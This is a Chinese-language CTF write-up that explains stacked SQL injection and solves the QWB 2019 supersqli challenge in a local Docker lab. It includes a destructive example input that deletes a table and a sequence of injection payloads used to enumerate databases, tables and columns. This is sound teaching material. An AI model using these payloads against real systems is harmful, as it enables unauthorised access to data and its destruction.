sql堆叠注入
堆叠注入原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
个人简单理解就是 执行 分号; 后面的语句
复现准备:Linux+docker
安装docker
sudo apt-get install docker docker-compose
service docker start
下载环境
sudo git clone https://github.com/CTFTraining/qwb_2019_supersqli
进入目录
cd qwb_2019_supersqli/
安装
sudo docker-compose up -d
打开地址
http://127.0.0.1:8302/
执行1,返回一些数据
1‘ 返回sql语法错误 证明存在注入
1‘ order by 2# 正常返回数据 order by 3返回错误 证明只有两个字段
1‘ union select 1,2# 联合注入返回一个正则过滤规则,证明常规联合注入不行
尝试堆叠注入
1';show databases;# 执行分号后 show databases; 语句 成功返回
1';show tables;# 列表
1';show columns from `1919810931114514`; # `1919810931114514` 对数字为表名的表进行操作需要加上 ` 符号
拿到 flag
参考文章:https://blog.csdn.net/qq_26406447/article/details/90643951